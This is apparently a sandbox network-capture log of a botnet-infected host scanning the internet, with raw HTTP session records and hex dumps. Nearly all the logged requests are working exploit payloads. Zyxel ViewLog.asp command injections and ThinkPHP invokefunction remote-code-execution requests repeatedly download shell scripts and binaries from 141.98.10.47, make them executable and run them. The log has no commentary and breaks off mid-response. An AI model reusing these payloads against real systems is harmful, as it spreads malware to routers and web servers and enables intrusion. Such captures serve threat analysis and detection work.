Dec 26, 2023 21:25:01.790467024 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
410	192.168.2.23	42432	94.123.86.235	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:01.790944099 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
411	192.168.2.23	40822	31.136.253.40	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:02.015654087 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:02.798950911 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:04.334742069 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:07.598290920 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:13.741472006 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:26.027702093 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:51.368169069 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
412	192.168.2.23	35982	31.136.157.236	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:02.015702963 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:02.798939943 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:04.334738970 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:07.598294020 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:13.741477013 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:26.027698040 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:51.368171930 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
413	192.168.2.23	39878	88.221.130.183	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:02.189405918 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:02.315052986 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Tue, 26 Dec 2023 20:25:02 GMT Date: Tue, 26 Dec 2023 20:25:02 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 64 37 64 64 31 37 26 23 34 36 3b 31 37 30 33 36 32 32 33 30 32 26 23 34 36 3b 62 61 34 31 39 33 39 37 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.6d7dd17.1703622302.ba419397</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
414	192.168.2.23	39400	88.173.207.209	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:02.309314966 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:02.570244074 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:25:02 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
415	192.168.2.23	39772	88.198.19.172	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:02.313266039 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:02.562122107 CET	463	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:25:02 GMT Server: Apache Content-Length: 285 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
416	192.168.2.23	44322	88.221.240.30	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:02.580214024 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:02.971535921 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:25:02 GMT Date: Tue, 26 Dec 2023 20:25:02 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 63 39 62 32 35 63 34 26 23 34 36 3b 31 37 30 33 36 32 32 33 30 32 26 23 34 36 3b 31 30 39 32 64 62 61 65 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.8c9b25c4.1703622302.1092dbae</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
417	192.168.2.23	42952	95.82.6.245	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:02.677556038 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:03.185051918 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
418	192.168.2.23	41910	62.34.73.15	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:02.749171972 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:05.806531906 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
419	192.168.2.23	39130	112.161.157.135	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:02.818700075 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
420	192.168.2.23	37988	95.101.42.15	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:03.044207096 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:03.270724058 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:25:03 GMT Date: Tue, 26 Dec 2023 20:25:03 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 37 63 39 31 30 30 32 26 23 34 36 3b 31 37 30 33 36 32 32 33 30 33 26 23 34 36 3b 34 63 35 63 63 66 63 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.a7c91002.1703622303.4c5ccfc1</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
421	192.168.2.23	57588	95.101.47.120	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:03.056066036 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:03.293593884 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:25:03 GMT Date: Tue, 26 Dec 2023 20:25:03 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 64 35 65 36 63 63 31 26 23 34 36 3b 31 37 30 33 36 32 32 33 30 33 26 23 34 36 3b 31 38 33 36 62 35 30 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference 